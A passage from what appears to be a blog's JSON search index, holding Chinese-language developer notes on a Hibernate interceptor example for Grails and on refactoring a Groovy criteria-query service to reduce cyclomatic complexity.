事件監聽器。您可以註冊自定義的事件監聽器來處理 Hibernate 事件，例如實體生命週期事件、持久化操作事件等。 EventType 和 EventListener 介面： org.hibernate.event.spi.EventType 定義了 Hibernate 中的各種事件類型，org.hibernate.event.spi.PostInsertEventListener、org.hibernate.event.spi.PreUpdateEventListener 等介面定義了對應事件的監聽器介面。您可以實現這些介面來監聽特定的事件，在事件發生時執行自定義邏輯。 Custom Type 和 User Type： org.hibernate.usertype.UserType 介面允許您定義自定義的數據類型，以便在實體類中使用。您可以實現這個介面來定義自己的數據類型，例如枚舉類型、自定義對象類型等。 Custom Dialect： org.hibernate.dialect.Dialect 類允許您實現自定義的數據庫方言，以適配不同的數據庫。您可以擴展這個類，並實現數據庫相關的行為，例如數據類型映射、SQL 方言等。 EntityInterceptor 介面： org.hibernate.Interceptor 介面的子介面，用於在實體加載、保存、更新等操作時執行自定義邏輯。 AuditInterceptor 介面： 用於實現審計功能，記錄實體的創建、修改、刪除等操作。 範例程式 # EntityIntercepto # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package work.pollochang.pollo.grails.db.aop; import org.grails.web.util.WebUtils; import org.hibernate.EmptyInterceptor; import org.hibernate.internal.EntityManagerMessageLogger; import org.hibernate.internal.HEMLogging; import org.hibernate.type.Type; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; import javax.servlet.http.HttpServletRequest; import javax.sql.DataSource; import java.io.Serializable; /** * 自訂攔截器 */ public class CustomInterceptor extends EmptyInterceptor { private static final EntityManagerMessageLogger log = HEMLogging.messageLogger( CustomInterceptor.class ); private DataSource dataSource; public CustomInterceptor(DataSource dataSource) { this.dataSource = dataSource; } @Override public boolean onSave(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types) { // String sessionId = org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getSessionId(); // System.out.println(\u0026#34;sessionId = \u0026#34;+sessionId); HttpServletRequest request = WebUtils.retrieveGrailsWebRequest().getRequest(); if (request != null) { // 在这里访问 HTTP 请求对象，例如获取请求参数等 String parameterValue = request.getParameter(\u0026#34;parameterName\u0026#34;); System.out.println(\u0026#34;Parameter value from request: \u0026#34; + parameterValue); String realIp = request.getRemoteAddr(); System.out.println(\u0026#34;user IP = \u0026#34;+realIp); } // 获取数据库连接 Connection connection = null; try { connection = dataSource.getConnection(); // 执行Dummy SQL语句 executeDummySQL(connection); } catch (SQLException e) { log.error(e.getMessage()); } finally { if (connection != null) { try { connection.close(); } catch (SQLException e) { log.error(e.getMessage()); } } } return super.onSave(entity, id, state, propertyNames, types); } /** * 查詢虛擬表 * @param connection * @throws SQLException */ private void executeDummySQL(Connection connection) throws SQLException { log.trace(\u0026#34;executeDummySQL\u0026#34;); // 在这里执行Dummy SQL语句 Statement statement = connection.createStatement(); statement.execute(\u0026#34;insert into test2(col1) values(0)\u0026#34;); statement.close(); } } ","date":"April 16, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240416-1/","section":"Worknots","summary":" Interceptor 介面： org.hibernate.Interceptor 介面允許您在 Hibernate 事件的各個階段介入，並提供了一些方法來實現您自己的邏輯。EmptyInterceptor 是 Interceptor 介面的一個簡單實現，它包含了所有方法的空實現。 SessionFactoryObserver 介面： org.hibernate.SessionFactoryObserver 介面允許您觀察 SessionFactory 的生命週期事件，在 SessionFactory 創建、關閉等事件發生時執行自定義邏輯。 EventListeners 介面： org.hibernate.event.service.spi.EventListenerRegistry 介面允許您註冊和管理 Hibernate 事件監聽器。您可以註冊自定義的事件監聽器來處理 Hibernate 事件，例如實體生命週期事件、持久化操作事件等。 EventType 和 EventListener 介面： org.hibernate.event.spi.EventType 定義了 Hibernate 中的各種事件類型，org.hibernate.event.spi.PostInsertEventListener、org.hibernate.event.spi.PreUpdateEventListener 等介面定義了對應事件的監聽器介面。您可以實現這些介面來監聽特定的事件，在事件發生時執行自定義邏輯。 Custom Type 和 User Type： org.hibernate.usertype.UserType 介面允許您定義自定義的數據類型，以便在實體類中使用。您可以實現這個介面來定義自己的數據類型，例如枚舉類型、自定義對象類型等。 Custom Dialect： org.hibernate.dialect.Dialect 類允許您實現自定義的數據庫方言，以適配不同的數據庫。您可以擴展這個類，並實現數據庫相關的行為，例如數據類型映射、SQL 方言等。 EntityInterceptor 介面： org.hibernate.Interceptor 介面的子介面，用於在實體加載、保存、更新等操作時執行自定義邏輯。 AuditInterceptor 介面： 用於實現審計功能，記錄實體的創建、修改、刪除等操作。 範例程式 # EntityIntercepto # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package work.pollochang.pollo.grails.db.aop; import org.grails.web.util.WebUtils; import org.hibernate.EmptyInterceptor; import org.hibernate.internal.EntityManagerMessageLogger; import org.hibernate.internal.HEMLogging; import org.hibernate.type.Type; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; import javax.servlet.http.HttpServletRequest; import javax.sql.DataSource; import java.io.Serializable; /** * 自訂攔截器 */ public class CustomInterceptor extends EmptyInterceptor { private static final EntityManagerMessageLogger log = HEMLogging.messageLogger( CustomInterceptor.class ); private DataSource dataSource; public CustomInterceptor(DataSource dataSource) { this.dataSource = dataSource; } @Override public boolean onSave(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types) { // String sessionId = org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getSessionId(); // System.out.println(\"sessionId = \"+sessionId); HttpServletRequest request = WebUtils.retrieveGrailsWebRequest().getRequest(); if (request != null) { // 在这里访问 HTTP 请求对象，例如获取请求参数等 String parameterValue = request.getParameter(\"parameterName\"); System.out.println(\"Parameter value from request: \" + parameterValue); String realIp = request.getRemoteAddr(); System.out.println(\"user IP = \"+realIp); } // 获取数据库连接 Connection connection = null; try { connection = dataSource.getConnection(); // 执行Dummy SQL语句 executeDummySQL(connection); } catch (SQLException e) { log.error(e.getMessage()); } finally { if (connection != null) { try { connection.close(); } catch (SQLException e) { log.error(e.getMessage()); } } } return super.onSave(entity, id, state, propertyNames, types); } /** * 查詢虛擬表 * @param connection * @throws SQLException */ private void executeDummySQL(Connection connection) throws SQLException { log.trace(\"executeDummySQL\"); // 在这里执行Dummy SQL语句 Statement statement = connection.createStatement(); statement.execute(\"insert into test2(col1) values(0)\"); statement.close(); } } ","title":"grails 攔截器","type":"worknot"},{"content":"","date":"April 16, 2024","externalUrl":null,"permalink":"/tags/cyclomaticcomplexity/","section":"Tags","summary":"","title":"CyclomaticComplexity","type":"tags"},{"content":"","date":"April 16, 2024","externalUrl":null,"permalink":"/tags/groovy/","section":"Tags","summary":"","title":"Groovy","type":"tags"},{"content":"筆記一下這些年我寫的糞 code 的優化流程\n一開始寫的 # 被檢測為 CyclomaticComplexity 。程式如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 package work.pollochang.twgcb import grails.gorm.transactions.Transactional import grails.web.servlet.mvc.GrailsParameterMap import org.hibernate.criterion.CriteriaSpecification import org.hibernate.type.StandardBasicTypes import work.pollochang.util.PFilterResult import work.pollochang.util.PFilterType /** * TWGCB 資料處理 */ @Transactional class TwGcbService { /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { PFilterResult pFilterResult = new PFilterResult() params.max = (params.max ?: \u0026#39;10\u0026#39;).toInteger() params.offset = (params?.offset ?: \u0026#39;0\u0026#39;).toInteger() List\u0026lt;Twgcb\u0026gt; twgcbList = Twgcb.createCriteria().list(params) { resultTransformer(CriteriaSpecification.ALIAS_TO_ENTITY_MAP) switch (filterType) { case PFilterType.QUICK: projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } break case PFilterType.FULL: projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;type\u0026#39;, \u0026#39;type\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } break case PFilterType.VIEW: projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } break default: projections { property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) sqlProjection(\u0026#34;(select t.cdesc from bs_select t where t.type = \u0026#39;twgcb_type\u0026#39; and t.code = this_.type ) typeDesc\u0026#34;, [\u0026#39;typeDesc\u0026#39;], [StandardBasicTypes.STRING]) } } if (params?.twgcbId) { eq(\u0026#39;twgcbId\u0026#39;,params?.twgcbId) } if (params?.type) { int type = params?.type as int eq(\u0026#39;type\u0026#39;,type) } if (params?.id) { long id = params?.id as long eq(\u0026#39;id\u0026#39;,id) } if (params?.cname) { ilike(\u0026#39;cname\u0026#39;, \u0026#34;%${params?.cname}%\u0026#34;) } order(\u0026#39;twgcbId\u0026#39;, \u0026#39;asc\u0026#39;) } as List\u0026lt;Twgcb\u0026gt; pFilterResult.domainList = twgcbList pFilterResult.totalCount = twgcbList.totalCount?:0 return pFilterResult } } 第一次優化 # 將顯示欄位邏輯拉出 # 更改前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 switch (filterType) { case PFilterType.QUICK: projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } break case PFilterType.FULL: projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;type\u0026#39;, \u0026#39;type\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } break case PFilterType.VIEW: projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } break default: projections { property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) sqlProjection(\u0026#34;(select t.cdesc from bs_select t where t.type = \u0026#39;twgcb_type\u0026#39; and t.code = this_.type ) typeDesc\u0026#34;, [\u0026#39;typeDesc\u0026#39;], [StandardBasicTypes.STRING]) } } // 程式碼部份省略 } 更改後 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 switch (filterType) { case PFilterType.QUICK: Closure projection = (Closure) quickProjection.clone() projection.delegate = delegate projection() break case PFilterType.FULL: Closure projection = (Closure) fullProjection.clone() projection.delegate = delegate projection() break case PFilterType.VIEW: Closure projection = (Closure) viewProjection.clone() projection.delegate = delegate projection() break default: Closure projection = (Closure) defaultProjection.clone() projection.delegate = delegate projection() } // 程式碼部份省略 } /** * 快速顯示欄位 */ private Closure quickProjection = { } /** * 完整顯示欄位 */ private Closure fullProjection = { } /** * 檢視單筆資料欄位 */ private Closure viewProjection = { } /** * 預設顯示欄位 */ private Closure defaultProjection = { } 將查詢條件修飾 # 更改前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 if (params?.twgcbId) { eq(\u0026#39;twgcbId\u0026#39;,params?.twgcbId) } if (params?.type) { int type = params?.type as int eq(\u0026#39;type\u0026#39;,type) } if (params?.id) { long id = params?.id as long eq(\u0026#39;id\u0026#39;,id) } if (params?.cname) { ilike(\u0026#39;cname\u0026#39;, \u0026#34;%${params?.cname}%\u0026#34;) } // 程式碼部份省略 } 更改後 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 params.each { key, value -\u0026gt; if(value){ switch (key) { case \u0026#39;twgcbId\u0026#39;: eq(\u0026#39;twgcbId\u0026#39;, value) break case \u0026#39;type\u0026#39;: eq(\u0026#39;type\u0026#39;,value as int) break case \u0026#39;id\u0026#39;: eq(\u0026#39;id\u0026#39;, value as long) break case \u0026#39;cname\u0026#39;: ilike(\u0026#39;cname\u0026#39;, \u0026#34;%${value}%\u0026#34;) break } } } // 程式碼部份省略 } 完整程式碼如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 package work.pollochang.twgcb import grails.gorm.transactions.Transactional import grails.web.servlet.mvc.GrailsParameterMap import org.hibernate.criterion.CriteriaSpecification import org.hibernate.type.StandardBasicTypes import work.pollochang.util.PFilterResult import work.pollochang.util.PFilterType /** * TWGCB 資料處理 */ @Transactional class TwGcbService { /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { PFilterResult pFilterResult = new PFilterResult() params.max = (params.max ?: \u0026#39;10\u0026#39;).toInteger() params.offset = (params?.offset ?: \u0026#39;0\u0026#39;).toInteger() List\u0026lt;Twgcb\u0026gt; twgcbList = Twgcb.createCriteria().list(params) { resultTransformer(CriteriaSpecification.ALIAS_TO_ENTITY_MAP) switch (filterType) { case PFilterType.QUICK: Closure projection = (Closure) quickProjection.clone() projection.delegate = delegate projection() break case PFilterType.FULL: Closure projection = (Closure) fullProjection.clone() projection.delegate = delegate projection() break case PFilterType.VIEW: Closure projection = (Closure) viewProjection.clone() projection.delegate = delegate projection() break default: Closure projection = (Closure) defaultProjection.clone() projection.delegate = delegate projection() } params.each { key, value -\u0026gt; if(value){ switch (key) { case \u0026#39;twgcbId\u0026#39;: eq(\u0026#39;twgcbId\u0026#39;, value) break case \u0026#39;type\u0026#39;: eq(\u0026#39;type\u0026#39;,value as int) break case \u0026#39;id\u0026#39;: eq(\u0026#39;id\u0026#39;, value as long) break case \u0026#39;cname\u0026#39;: ilike(\u0026#39;cname\u0026#39;, \u0026#34;%${value}%\u0026#34;) break } } } order(\u0026#39;twgcbId\u0026#39;, \u0026#39;asc\u0026#39;) } as List\u0026lt;Twgcb\u0026gt; pFilterResult.domainList = twgcbList pFilterResult.totalCount = twgcbList.totalCount?:0 return pFilterResult } /** * 快速顯示欄位 */ private Closure quickProjection = { projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } } /** * 完整顯示欄位 */ private Closure fullProjection = { projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;type\u0026#39;, \u0026#39;type\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } } /** * 檢視單筆資料欄位 */ private Closure viewProjection = { projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } } /** * 預設顯示欄位 */ private Closure defaultProjection = { projections { property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) sqlProjection(\u0026#34;(select t.cdesc from bs_select t where t.type = \u0026#39;twgcb_type\u0026#39; and t.code = this_.type ) typeDesc\u0026#34;, [\u0026#39;typeDesc\u0026#39;], [StandardBasicTypes.STRING]) } } } 第二次優化 # 優化 projection 程式片段 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 switch (filterType) { case PFilterType.QUICK: Closure projection = (Closure) quickProjection.clone() projection.delegate = delegate projection() break case PFilterType.FULL: Closure projection = (Closure) fullProjection.clone() projection.delegate = delegate projection() break case PFilterType.VIEW: Closure projection = (Closure) viewProjection.clone() projection.delegate = delegate projection() break default: Closure projection = (Closure) defaultProjection.clone() projection.delegate = delegate projection() } // 程式碼部份省略 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { // 程式碼部份省略 Closure projection = getProjectionClosure(filterType) if (projection) { projection.delegate = delegate projection() } // 程式碼部份省略 } /** * 依 定義查詢種類 回傳查詢顯示欄位 * @param filterType 定義查詢種類 * @return 查詢顯示欄位 */ private Closure getProjectionClosure(PFilterType filterType) { switch (filterType) { case PFilterType.QUICK: return quickProjection case PFilterType.FULL: return fullProjection case PFilterType.VIEW: return viewProjection default: return defaultProjection } } 完整程式碼如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 package work.pollochang.twgcb import grails.gorm.transactions.Transactional import grails.web.servlet.mvc.GrailsParameterMap import org.hibernate.criterion.CriteriaSpecification import org.hibernate.type.StandardBasicTypes import work.pollochang.util.PFilterResult import work.pollochang.util.PFilterType /** * TWGCB 資料處理 */ @Transactional class TwGcbService { /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { PFilterResult pFilterResult = new PFilterResult() params.max = (params.max ?: \u0026#39;10\u0026#39;).toInteger() params.offset = (params?.offset ?: \u0026#39;0\u0026#39;).toInteger() List\u0026lt;Twgcb\u0026gt; twgcbList = Twgcb.createCriteria().list(params) { resultTransformer(CriteriaSpecification.ALIAS_TO_ENTITY_MAP) Closure projection = getProjectionClosure(filterType) if (projection) { projection.delegate = delegate projection() } params.each { key, value -\u0026gt; if(value){ switch (key) { case \u0026#39;twgcbId\u0026#39;: eq(\u0026#39;twgcbId\u0026#39;, value) break case \u0026#39;type\u0026#39;: eq(\u0026#39;type\u0026#39;,value as int) break case \u0026#39;id\u0026#39;: eq(\u0026#39;id\u0026#39;, value as long) break case \u0026#39;cname\u0026#39;: ilike(\u0026#39;cname\u0026#39;, \u0026#34;%${value}%\u0026#34;) break } } } order(\u0026#39;twgcbId\u0026#39;, \u0026#39;asc\u0026#39;) } as List\u0026lt;Twgcb\u0026gt; pFilterResult.domainList = twgcbList pFilterResult.totalCount = twgcbList.totalCount?:0 return pFilterResult } /** * 依 定義查詢種類 回傳查詢顯示欄位 * @param filterType 定義查詢種類 * @return 查詢顯示欄位 */ private Closure getProjectionClosure(PFilterType filterType) { switch (filterType) { case PFilterType.QUICK: return quickProjection case PFilterType.FULL: return fullProjection case PFilterType.VIEW: return viewProjection default: return defaultProjection } } /** * 快速顯示欄位 */ private Closure quickProjection = { projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } } /** * 完整顯示欄位 */ private Closure fullProjection = { projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;type\u0026#39;, \u0026#39;type\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } } /** * 檢視單筆資料欄位 */ private Closure viewProjection = { projections { property(\u0026#39;id\u0026#39;, \u0026#39;id\u0026#39;) property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) property(\u0026#39;explanation\u0026#39;, \u0026#39;explanation\u0026#39;) property(\u0026#39;instructions\u0026#39;, \u0026#39;instructions\u0026#39;) property(\u0026#39;defaultValue\u0026#39;, \u0026#39;defaultValue\u0026#39;) property(\u0026#39;remark\u0026#39;, \u0026#39;remark\u0026#39;) property(\u0026#39;typeDesc\u0026#39;, \u0026#39;typeDesc\u0026#39;) } } /** * 預設顯示欄位 */ private Closure defaultProjection = { projections { property(\u0026#39;twgcbId\u0026#39;, \u0026#39;twgcbId\u0026#39;) property(\u0026#39;cname\u0026#39;, \u0026#39;cname\u0026#39;) sqlProjection(\u0026#34;(select t.cdesc from bs_select t where t.type = \u0026#39;twgcb_type\u0026#39; and t.code = this_.type ) typeDesc\u0026#34;, [\u0026#39;typeDesc\u0026#39;], [StandardBasicTypes.STRING]) } } } ","date":"April 16, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240416/","section":"Worknots","summary":"筆記一下這些年我寫的糞 code 的優化流程\n一開始寫的 # 被檢測為 CyclomaticComplexity 。程式如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 package work.pollochang.twgcb import grails.gorm.transactions.Transactional import grails.web.servlet.mvc.GrailsParameterMap import org.hibernate.criterion.CriteriaSpecification import org.hibernate.type.StandardBasicTypes import work.pollochang.util.PFilterResult import work.pollochang.util.PFilterType /** * TWGCB 資料處理 */ @Transactional class TwGcbService { /** * 查詢 * @param params * @param filterType * @return 查詢結果 */ PFilterResult filter( GrailsParameterMap params, PFilterType filterType = PFilterType.DEFAULT ) { PFilterResult pFilterResult = new PFilterResult() params.max = (params.max ?: '10').toInteger() params.offset = (params?.offset ?: '0').toInteger() List\u003cTwgcb\u003e twgcbList = Twgcb.createCriteria().list(params) { resultTransformer(CriteriaSpecification.ALIAS_TO_ENTITY_MAP) switch (filterType) { case PFilterType.QUICK: projections { property('id', 'id') property('twgcbId', 'twgcbId') property('cname', 'cname') property('typeDesc', 'typeDesc') } break case PFilterType.FULL: projections { property('id', 'id') property('twgcbId', 'twgcbId') property('cname', 'cname') property('type', 'type') property('explanation', 'explanation') property('instructions', 'instructions') property('defaultValue', 'defaultValue') property('remark', 'remark') property('typeDesc', 'typeDesc') } break case PFilterType.VIEW: projections { property('id', 'id') property('twgcbId', 'twgcbId') property('cname', 'cname') property('explanation', 'explanation') property('instructions', 'instructions') property('defaultValue', 'defaultValue') property('remark', 'remark') property('typeDesc', 'typeDesc') } break default: projections { property('twgcbId', 'twgcbId') property('cname', 'cname') sqlProjection(\"(select t.cdesc from bs_select t where t.type = 'twgcb_type' and t.code = this_.type ) typeDesc\", ['typeDesc'], [StandardBasicTypes.STRING]) } } if (params?.twgcbId) { eq('twgcbId',params?.twgcbId) } if (params?.type) { int type = params?.type as int eq('type',type) } if (params?.id) { long id = params?.id as long eq('id',id) } if (params?.cname) { ilike('cname', \"%${params?.cname}%\") } order('twgcbId', 'asc') } as List\u003cTwgcb\u003e pFilterResult.domainList = twgcbList pFilterResult.totalCount = twgcbList.totalCount?:0 return pFilterResult } } 第一次優化 # 將顯示欄位邏輯拉出 # 更改前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 